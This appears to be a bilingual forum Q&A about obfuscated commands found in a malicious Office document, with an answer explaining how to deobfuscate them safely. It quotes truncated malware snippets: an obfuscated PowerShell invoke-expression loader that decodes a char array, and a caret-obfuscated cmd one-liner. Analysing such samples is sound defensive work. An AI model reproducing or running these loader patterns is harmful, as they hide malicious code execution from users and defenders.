Office 文件中的 Shell 或 bash 命令

Shell or bash commands in office files

在分析 doc 文件时,我看到一些强大的 shell 命令,例如

Execute Command - params "PowersHeLL  & ( $sHELlId[1]+$ShEllID[13]+'X')( [StRinG]::joiN( '' ,([CHaR[]] (62 , 116, 109 ,84 ,119 , 86,88 ,58,39, 58 , 116 ,127 ,109 ,55, 117,120,112, 127 ,121,110,58 ,104,123 , 116,126, 117,119, 33 ,62 , 116 ,78 ,116 , 86, 77 ,95 ,58, 39 ,58 , 116 ,127 , 109

Run - params [Function FqLHmmC ([vwPoLiLXwz]): 7 statement(s), 'cmd /c ^f^O^r ; ;  /^F , ;  "   tokens=  2   delims=EFHMN" ; %^h ;  ; ^iN  ; ( , \' ;  ft^^YpE , ; ^| ;  fiNd^^str , H^^C \' ; ; ) ; ^do  , ;  %^h;  ;  n8ZAmId/vs~*t^@^Y)PUA^     ; ;  h0XobFu/^C  "  , , (   (s^ET  ^  ^`  ^ =E=6^l2u^\^h^s\'^y4D^w^XoWJNzL@^b^anGx, ^Ri^{f.P1+Fcme^3^v^0/jB^(krd;^}Z^)-^:tM^Sg^$^pOC)

这些是如何解释的?例如,我猜 62 , 116, 109 ,84 是十进制值。但是,将它们转换为 ascii 没有意义。第二个,例如 fiNd^^str , H^^C \' ; ; ) ; ^do 听起来像 bash 脚本。但是没有意义。

这是否意味着它们被混淆了?还是混淆是别的东西?!

How these are interpreted?

好吧,这些代码像任何其他 PowerShell 代码一样被解析和解释。人类更难阅读。 [char]116 就是这样。您可以将其输入 PowerShell 并找出它是什么(t 的 ascii 代码)。

Does that mean, they are obfuscated?

是的。

去混淆的最简单方法是 运行 启用 ScriptBlock logging。事件日志将揭示实际正在执行的内容。由于您不知道要执行什么:只能在隔离的沙箱环境中执行此操作!